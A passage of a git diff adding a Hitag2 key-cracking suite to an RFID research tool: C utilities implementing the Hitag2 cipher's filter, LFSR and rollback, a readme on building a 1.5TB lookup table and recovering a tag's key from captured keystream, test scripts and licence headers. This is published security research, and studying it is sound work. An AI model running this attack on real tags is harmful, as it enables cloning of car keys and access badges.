printf("keyrev:\t\t"); + printbin2(key, 48); + printf("\n"); + + printf("KEY:\t\t"); + for (i=0; i<6; i++) { + printf("%02X", (int)(key & 0xff)); + key = key >> 8; + } + printf("\n"); + + return 0; + +} + + diff --git a/tools/hitag2crack/crack2/ht2crack2utils.c b/tools/hitag2crack/crack2/ht2crack2utils.c new file mode 100644 index 000000000..2152f8ef3 --- /dev/null +++ b/tools/hitag2crack/crack2/ht2crack2utils.c @@ -0,0 +1,187 @@ +#include "ht2crack2utils.h" + +// writes a value into a buffer as a series of bytes +void writebuf(unsigned char *buf, uint64_t val, unsigned int len) +{ + int i; + char c; + + for (i=len-1; i>=0; i--) + { + c = val & 0xff; + buf[i] = c; + val = val >> 8; + } + +} + + +/* simple hexdump for testing purposes */ +void shexdump(unsigned char *data, int data_len) +{ + int i; + + if (!data || (data_len <= 0)) { + printf("shexdump: invalid parameters\n"); + return; + } + + printf("Hexdump from %p:\n", data); + + for (i=0; i> 7); + x = x << 1; + } + } + printf("\n"); +} + + +void printbin2(uint64_t val, unsigned int size) +{ + int i; + uint64_t mask = 1; + + mask = mask << (size - 1); + + for (i=0; ishiftreg, 48); + printf("\n"); +} + + + + +// convert hex char to binary +unsigned char hex2bin(unsigned char c) +{ + if ((c >= '0') && (c <= '9')) { + return (c - '0'); + } else if ((c >= 'a') && (c <= 'f')) { + return (c - 'a' + 10); + } else if ((c >= 'A') && (c <= 'F')) { + return (c - 'A' + 10); + } else { + return 0; + } +} + +// return a single bit from a value +int bitn(uint64_t x, int bit) +{ + uint64_t bitmask = 1; + + bitmask = bitmask << bit; + + if (x & bitmask) { + return 1; + } else { + return 0; + } +} + + +// the sub-function R that rollback depends upon +int fnR(uint64_t x) +{ + // renumbered bits because my state is 0-47, not 1-48 + return (bitn(x, 1) ^ bitn(x, 2) ^ bitn(x, 5) ^ bitn(x, 6) ^ bitn(x, 7) ^ + bitn(x, 15) ^ bitn(x, 21) ^ bitn(x, 22) ^ bitn(x, 25) ^ bitn(x, 29) ^ bitn(x, 40) ^ + bitn(x, 41) ^ bitn(x, 42) ^ bitn(x, 45) ^ bitn(x, 46) ^ bitn(x, 47)); +} + +// the rollback function that lets us go backwards in time +void rollback(Hitag_State *hstate, unsigned int steps) +{ + int i; + + for (i=0; ishiftreg = ((hstate->shiftreg << 1) & 0xffffffffffff) | fnR(hstate->shiftreg); + } + +} + + +// the three filter sub-functions that feed fnf +int fa(unsigned int i) +{ + return bitn(0x2C79, i); +} + +int fb(unsigned int i) +{ + return bitn(0x6671, i); +} + +int fc(unsigned int i) +{ + return bitn(0x7907287B, i); +} + +// the filter function that generates a bit of output from the prng state +int fnf(uint64_t s) +{ + unsigned int x1, x2, x3, x4, x5, x6; + + x1 = (bitn(s, 2) << 0) | (bitn(s, 3) << 1) | (bitn(s, 5) << 2) | (bitn(s, 6) << 3); + x2 = (bitn(s, 8) << 0) | (bitn(s, 12) << 1) | (bitn(s, 14) << 2) | (bitn(s, 15) << 3); + x3 = (bitn(s, 17) << 0) | (bitn(s, 21) << 1) | (bitn(s, 23) << 2) | (bitn(s, 26) << 3); + x4 = (bitn(s, 28) << 0) | (bitn(s, 29) << 1) | (bitn(s, 31) << 2) | (bitn(s, 33) << 3); + x5 = (bitn(s, 34) << 0) | (bitn(s, 43) << 1) | (bitn(s, 44) << 2) | (bitn(s, 46) << 3); + + x6 = (fa(x1) << 0) | (fb(x2) << 1) | (fb(x3) << 2) | (fb(x4) << 3) | (fa(x5) << 4); + + return fc(x6); +} + +// builds the lfsr for the prng (quick calcs for hitag2_nstep()) +void buildlfsr(Hitag_State *hstate) +{ + uint64_t state = hstate->shiftreg; + uint64_t temp; + + temp = state ^ (state >> 1); + hstate->lfsr = state ^ (state >> 6) ^ (state >> 16) + ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22) + ^ (temp >> 42) ^ (temp >> 46); +} + + + diff --git a/tools/hitag2crack/crack2/ht2crack2utils.h b/tools/hitag2crack/crack2/ht2crack2utils.h new file mode 100644 index 000000000..14eea840c --- /dev/null +++ b/tools/hitag2crack/crack2/ht2crack2utils.h @@ -0,0 +1,34 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "HardwareProfile.h" +#include "rfidler.h" +#include "util.h" + +#include "hitagcrypto.h" + +#define HEX_PER_ROW 16 + + + +void writebuf(unsigned char *buf, uint64_t val, unsigned int len); +void shexdump(unsigned char *data, int data_len); +void printbin(unsigned char *c); +void printbin2(uint64_t val, unsigned int size); +void printstate(Hitag_State *hstate); +unsigned char hex2bin(unsigned char c); +int bitn(uint64_t x, int bit); +int fnR(uint64_t x); +void rollback(Hitag_State *hstate, unsigned int steps); +int fa(unsigned int i); +int fb(unsigned int i); +int fc(unsigned int i); +int fnf(uint64_t s); +void buildlfsr(Hitag_State *hstate); diff --git a/tools/hitag2crack/crack2/readme.md b/tools/hitag2crack/crack2/readme.md new file mode 100644 index 000000000..dd0872260 --- /dev/null +++ b/tools/hitag2crack/crack2/readme.md @@ -0,0 +1,68 @@ +ht2crack2 suite + + + +Build +----- + +Edit ht2crack2buildtable.c and set the DATAMAX, NUM_BUILD_THREADS and NUM_SORT_THREADS values. +These are important if you want it to run quickly. Ideally set DATAMAX to the largest value +that you can get away with and set NUM_BUILD_THREADS and NUM_SORT_THREADS to the number of +virtual cores you have available, which MUST be a power of 2. NUM_BUILD_THREADS MUST be >= +NUM_SORT_THREADS. + +Calculate DATAMAX = free RAM available / 65536, and then round down to a power of 10. + +The Makefile is configured for linux. To compile on Mac, edit it and swap the LIBS= lines. + +make clean +make + + +Run ht2crack2buildtable +----------------------- + +Make sure you are in a directory on a disk with at least 1.5TB of space. +./ht2crack2buildtable + +Wait a very long time. Maybe a few days. + +This will create a directory tree called table/ while it is working that will contain +files that will slowly build up in size to approx 20MB each. Once it has finished making +these unsorted files, it will sort them into the directory tree sorted/ and remove the +original files. It will then exit and you'll have your shiny table. + + +Test with ht2crack2gentests +--------------------------- + +./ht2crack2gentests NUMBER_OF_TESTS + +to generate NUMBER_OF_TESTS test files. These will all be named +keystream.key-KEYVALUE.uid-UIDVALUE.nR-NRVALUE + +Test a single test with +./runtest.sh KEYSTREAMFILE + +or manually with +./ht2crack2search KEYSTREAMFILE UIDVALUE NRVALUE + +or run all tests with +./runalltests.sh + +Feel free to edit the shell scripts to find your tools. You might want to create a +symbolic link to your sorted/ directory called 'sorted' to help ht2crack2seach find the +table. + +If the tests work, then the table is sound. + + +Search for key in real keystream +-------------------------------- + +Recover 2048 bits of keystream from the target RFID tag with the RFIDler. You will have had +to supply an NR value and you should know the tag's UID (you can get this using the RFIDler). + +./ht2crack2search KEYSTREAMFILE UIDVALUE NRVALUE + + diff --git a/tools/hitag2crack/crack2/rfidler.h b/tools/hitag2crack/crack2/rfidler.h new file mode 100644 index 000000000..c8ce90396 --- /dev/null +++ b/tools/hitag2crack/crack2/rfidler.h @@ -0,0 +1,412 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + +#include +#include + +// BCD hardware revision for usb descriptor (usb_descriptors.c) +#define RFIDLER_HW_VERSION 0x020 + +// max sizes in BITS +#define MAXBLOCKSIZE 512 +#define MAXTAGSIZE 4096 +#define MAXUID 512 + +#define TMP_LARGE_BUFF_LEN 2048 +#define TMP_SMALL_BUFF_LEN 256 +#define ANALOGUE_BUFF_LEN 8192 + +#define COMMS_BUFFER_SIZE 128 + +#define DETECT_BUFFER_SIZE 512 + +#define SAMPLEMASK ~(BIT_1 | BIT_0) // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period + +// globals + +extern BOOL WiegandOutput; // Output wiegand data whenenver UID is read +extern BYTE *EMU_Reset_Data; // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*' terminated +extern BYTE *EMU_Data; // Pointer to current location in EMU_Reset_Data +extern BYTE EMU_ThisBit; // The next data bit to transmit +extern BYTE EMU_SubCarrier_T0; // Number of Frame Clocks for sub-carrier '0' +extern BYTE EMU_SubCarrier_T1; // Number of Frame Clocks for sub-carrier '1' +extern unsigned int EMU_Repeat; // Number of times to transmit full data set +extern BOOL EMU_Background; // Emulate in the background until told to stop +extern unsigned int EMU_DataBitRate; // Number of Frame Clocks per bit +extern BYTE TmpBits[TMP_LARGE_BUFF_LEN]; // Shared scratchpad +extern BYTE ReaderPeriod; // Flag for sample display +extern unsigned char Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer +extern BYTE Interface; // user interface - CLI or API +extern BYTE CommsChannel; // user comms channel - USB or UART +extern BOOL FakeRead; // flag for analogue sampler to signal it wants access to buffers during read +extern BOOL PWD_Mode; // is this tag password protected? +extern BYTE Password[9]; // 32 bits as HEX string set with LOGIN +extern unsigned int Led_Count; // LED status counter, also used for entropy +extern unsigned long Reader_Bit_Count; // Reader ISR bit counter +extern char Previous; // Reader ISR previous bit type + +// RWD (read/write device) coil state +extern BYTE RWD_State; // current state of RWD coil +extern unsigned int RWD_Fc; // field clock in uS +extern unsigned int RWD_Gap_Period; // length of command gaps in OC5 ticks +extern unsigned int RWD_Zero_Period; // length of '0' in OC5 ticks +extern unsigned int RWD_One_Period; // length of '1' in OC5 ticks +extern unsigned int RWD_Sleep_Period; // length of initial sleep to reset tag in OC5 ticks +extern unsigned int RWD_Wake_Period; // length required for tag to restart in OC5 ticks +extern unsigned int RWD_Wait_Switch_TX_RX; // length to wait when switching from TX to RX in OC5 ticks +extern unsigned int RWD_Wait_Switch_RX_TX; // length to wait when switching from RX to TX in OC5 ticks +extern unsigned int RWD_Post_Wait; // low level ISR wait period in OC5 ticks +extern unsigned int RWD_OC5_config; // Output Compare Module settings +extern unsigned int RWD_OC5_r; // Output Compare Module primary compare value +extern unsigned int RWD_OC5_rs; // Output Compare Module secondary compare value +extern BYTE RWD_Command_Buff[TMP_SMALL_BUFF_LEN]; // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated +extern BYTE *RWD_Command_ThisBit; // Current command bit +extern BOOL Reader_ISR_State; // current state of reader ISR + +// NVM variables +// timings etc. that want to survive a reboot should go here +typedef struct { + BYTE Name[7]; // will be set to "RFIDler" so we can test for new device + BYTE AutoRun[128]; // optional command to run at startup + unsigned char TagType; + unsigned int PSK_Quality; + unsigned int Timeout; + unsigned int Wiegand_Pulse; + unsigned int Wiegand_Gap; + BOOL Wiegand_IdleState; + unsigned int FrameClock; + unsigned char Modulation; + unsigned int DataRate; + unsigned int DataRateSub0; + unsigned int DataRateSub1; + unsigned int DataBits; + unsigned int DataBlocks; + unsigned int BlockSize; + unsigned char SyncBits; + BYTE Sync[4]; + BOOL BiPhase; + BOOL Invert; + BOOL Manchester; + BOOL HalfDuplex; + unsigned int Repeat; + unsigned int PotLow; + unsigned int PotHigh; + unsigned int RWD_Gap_Period; + unsigned int RWD_Zero_Period; + unsigned int RWD_One_Period; + unsigned int RWD_Sleep_Period; + unsigned int RWD_Wake_Period; + unsigned int RWD_Wait_Switch_TX_RX; + unsigned int RWD_Wait_Switch_RX_TX; +} StoredConfig; + +// somewhere to store TAG data. this will be interpreted according to the TAG +// type. +typedef struct { + BYTE TagType; // raw tag type + BYTE EmulatedTagType; // tag type this tag is configured to emulate + BYTE UID[MAXUID + 1]; // Null-terminated HEX string + BYTE Data[MAXTAGSIZE]; // raw data + unsigned char DataBlocks; // number of blocks in Data field + unsigned int BlockSize; // blocksize in bits +} VirtualTag; + +extern StoredConfig RFIDlerConfig; +extern VirtualTag RFIDlerVTag; +extern BYTE TmpBuff[NVM_PAGE_SIZE]; +extern BYTE DataBuff[ANALOGUE_BUFF_LEN]; +extern unsigned int DataBuffCount; +extern const BYTE *ModulationSchemes[]; +extern const BYTE *OnOff[]; +extern const BYTE *HighLow[]; +extern const BYTE *TagTypes[]; + +// globals for ISRs +extern BYTE EmulationMode; +extern unsigned long HW_Bits; +extern BYTE HW_Skip_Bits; +extern unsigned int PSK_Min_Pulse; +extern BOOL PSK_Read_Error; +extern BOOL Manchester_Error; +extern BOOL SnifferMode; +extern unsigned int Clock_Tick_Counter; +extern BOOL Clock_Tick_Counter_Reset; + +// smart card lib +#define MAX_ATR_LEN (BYTE)33 +extern BYTE scCardATR[MAX_ATR_LEN]; +extern BYTE scATRLength; + +// RTC +extern rtccTime RTC_time; // time structure +extern rtccDate RTC_date; // date structure + +// digital pots +#define POTLOW_DEFAULT 100 +#define POTHIGH_DEFAULT 150 +#define DC_OFFSET 60 // analogue circuit DC offset (as close as we can get without using 2 LSB) +#define VOLTS_TO_POT 0.019607843F + +// RWD/clock states +#define RWD_STATE_INACTIVE 0 // RWD not in use +#define RWD_STATE_GO_TO_SLEEP 1 // RWD coil shutdown request +#define RWD_STATE_SLEEPING 2 // RWD coil shutdown for sleep period +#define RWD_STATE_WAKING 3 // RWD active for pre-determined period after reset +#define RWD_STATE_START_SEND 4 // RWD starting send of data +#define RWD_STATE_SENDING_GAP 5 // RWD sending a gap +#define RWD_STATE_SENDING_BIT 6 // RWD sending a data bit +#define RWD_STATE_POST_WAIT 7 // RWD finished sending data, now in forced wait period +#define RWD_STATE_ACTIVE 8 // RWD finished, now just clocking a carrier + +// reader ISR states +#define READER_STOPPED 0 // reader not in use +#define READER_IDLING 1 // reader ISR running to preserve timing, but not reading +#define READER_RUNNING 2 // reader reading bits + + +// user interface types +#define INTERFACE_API 0 +#define INTERFACE_CLI 1 + +// comms channel +#define COMMS_NONE 0 +#define COMMS_USB 1 +#define COMMS_UART 2 + +#define MAX_HISTORY 2 // disable most of history for now - memory issue + +// tag write retries +#define TAG_WRITE_RETRY 5 + +// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this +#define MOD_MODE_NONE 0 +#define MOD_MODE_ASK_OOK 1 +#define MOD_MODE_FSK1 2 +#define MOD_MODE_FSK2 3 +#define MOD_MODE_PSK1 4 +#define MOD_MODE_PSK2 5 +#define MOD_MODE_PSK3 6 + +// TAG types - update TagTypes[] in tags.c if you add to this list +#define TAG_TYPE_NONE 0 +#define TAG_TYPE_ASK_RAW 1 +#define TAG_TYPE_FSK1_RAW 2 +#define TAG_TYPE_FSK2_RAW 3 +#define TAG_TYPE_PSK1_RAW 4 +#define TAG_TYPE_PSK2_RAW 5 +#define TAG_TYPE_PSK3_RAW 6 +#define TAG_TYPE_HITAG1 7 +#define TAG_TYPE_HITAG2 8 +#define TAG_TYPE_EM4X02 9 +#define TAG_TYPE_Q5 10 +#define TAG_TYPE_HID_26 11 +#define TAG_TYPE_INDALA_64 12 +#define TAG_TYPE_INDALA_224 13 +#define TAG_TYPE_UNIQUE 14 +#define TAG_TYPE_FDXB 15 +#define TAG_TYPE_T55X7 16 // same as Q5 but different timings and no modulation-defeat +#define TAG_TYPE_AWID_26 17 +#define TAG_TYPE_EM4X05 18 +#define TAG_TYPE_TAMAGOTCHI 19 +#define TAG_TYPE_HDX 20 // same underlying data as FDX-B, but different modulation & telegram + +// various + +#define BINARY 0 +#define HEX 1 + +#define NO_ADDRESS -1 + +#define ACK TRUE +#define NO_ACK FALSE + +#define BLOCK TRUE +#define NO_BLOCK FALSE + +#define DATA TRUE +#define NO_DATA FALSE + +#define DEBUG_PIN_ON HIGH +#define DEBUG_PIN_OFF LOW + +#define FAST FALSE +#define SLOW TRUE + +#define NO_TRIGGER 0 + +#define LOCK TRUE +#define NO_LOCK FALSE + +#define NFC_MODE TRUE +#define NO_NFC_MODE FALSE + +#define ONESHOT_READ TRUE +#define NO_ONESHOT_READ FALSE + +#define RESET TRUE +#define NO_RESET FALSE + +#define SHUTDOWN_CLOCK TRUE +#define NO_SHUTDOWN_CLOCK FALSE + +#define SYNC TRUE +#define NO_SYNC FALSE + +#define VERIFY TRUE +#define NO_VERIFY FALSE + +#define VOLATILE FALSE +#define NON_VOLATILE TRUE + +#define NEWLINE TRUE +#define NO_NEWLINE FALSE + +#define WAIT TRUE +#define NO_WAIT FALSE + +#define WIPER_HIGH 0 +#define WIPER_LOW 1 + +// conversion for time to ticks +#define US_TO_TICKS 1000000L +#define US_OVER_10_TO_TICKS 10000000L +#define US_OVER_100_TO_TICKS 100000000L +// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it +#define CONVERT_TO_TICKS(x) ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS)) +#define CONVERT_TICKS_TO_US(x) (x / (GetSystemClock() / US_TO_TICKS)) +#define TIMER5_PRESCALER 16 +#define MAX_TIMER5_TICKS (65535 * TIMER5_PRESCALER) + +// other conversions + +// bits to hex digits +#define HEXDIGITS(x) (x / 4) +#define HEXTOBITS(x) (x * 4) diff --git a/tools/hitag2crack/crack2/runalltests.sh b/tools/hitag2crack/crack2/runalltests.sh new file mode 100755 index 000000000..945873cfb --- /dev/null +++ b/tools/hitag2crack/crack2/runalltests.sh @@ -0,0 +1,3 @@ +for i in keystream*; do +./runtest.sh $i +done diff --git a/tools/hitag2crack/crack2/runtest.sh b/tools/hitag2crack/crack2/runtest.sh new file mode 100755 index 000000000..bcc08727c --- /dev/null +++ b/tools/hitag2crack/crack2/runtest.sh @@ -0,0 +1,25 @@ +#!/bin/bash + +if [ "$1" == "" ]; then +echo "runtest.sh testfile" +echo "testfile name should be of the form:" +echo "keystream.key-KEY.uid-UID.nR-NR" +exit 1 +fi + +filename=$1 + +UIDV=`echo $1 | cut -d'-' -f3 | cut -d'.' -f1` +NR=`echo $1 | cut -d'-' -f4` +KEYV=`echo $1 | cut -d'-' -f2 | cut -d'.' -f1` + +echo "********************" +echo "FILENAME = $filename" +echo "UID = $UIDV" +echo "NR = $NR" +echo "Expected KEY = $KEYV" + +./ht2crack2search $filename $UIDV $NR +echo "Expected KEY = $KEYV" +echo "********************" +echo "" diff --git a/tools/hitag2crack/crack2/util.h b/tools/hitag2crack/crack2/util.h new file mode 100644 index 000000000..c0d4c156a --- /dev/null +++ b/tools/hitag2crack/crack2/util.h @@ -0,0 +1,206 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + +#define CRC16_MASK_CCITT 0x1021 // CRC-CCITT mask (ISO 3309, used in X25, HDLC) +#define CRC16_MASK_ISO_11785 0x8408 // ISO 11785 animal tags +#define CRC16_MASK_CRC16 0xA001 // standard CRC16 mask (used in ARC files) + +/* + * Hitag Crypto support macros + * These macros reverse the bit order in a byte, or *within* each byte of a + * 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.) + */ +#define rev8(X) ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \ + + (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \ + + (((X) << 5) &64) + (((X) << 7) &128) ) +#define rev16(X) (rev8 (X) + (rev8 (X >> 8) << 8)) +#define rev32(X) (rev16(X) + (rev16(X >> 16) << 16)) +#define rev64(X) (rev32(X) + (rev32(X >> 32) << 32)) + + +BYTE approx(unsigned long number, unsigned long target, unsigned char percentage); +unsigned int bcdtouint(BYTE *bcd, BYTE length); +unsigned long long bcdtoulonglong(BYTE *bcd, BYTE length); +void inttobinarray(BYTE *target, unsigned int source, unsigned int bits); +void ulongtobinarray(BYTE *target, unsigned long source, unsigned int bits); +void ulonglongtobinarray(BYTE *target, unsigned long long source, unsigned int bits); +void inttobinstring(BYTE *target, unsigned int source, unsigned int bits); +void ulongtobinstring(BYTE *target, unsigned long source, unsigned int bits); +BOOL ulongtohex(BYTE *target, unsigned long source); +unsigned int binarraytoint(BYTE *bin, BYTE length); +unsigned long long binarraytolonglong(BYTE *bin, BYTE length); +unsigned long binarraytoulong(BYTE *bin, BYTE length); +BYTE hextobyte(BYTE *hex); +void printhexreadable(BYTE *hex, BYTE maxlength); +unsigned long hextoulong(BYTE *hex); +unsigned long hexreversetoulong(BYTE *hex); +unsigned long long hextoulonglong(BYTE *hex); +unsigned long long hexreversetoulonglong(BYTE *hex); +char hextolonglong(unsigned long long *out, unsigned char *hex); +unsigned int hextobinarray(unsigned char *target, unsigned char *source); +unsigned int hextobinstring(unsigned char *target, unsigned char *source); +unsigned int binarraytohex(unsigned char *target, unsigned char *source, unsigned int length); +void hexprintbinarray(BYTE *bin, unsigned int length); +unsigned int binstringtohex(unsigned char *target, unsigned char *source); +unsigned int binstringtobinarray(BYTE *target, BYTE *source); +void binstringtobyte(BYTE *target, unsigned char *source, BYTE length); +void binarraytobinstring(BYTE *target, BYTE *source, unsigned int length); +void printhexasbin(unsigned char *hex); +void printbinashex(unsigned char *bin); +void 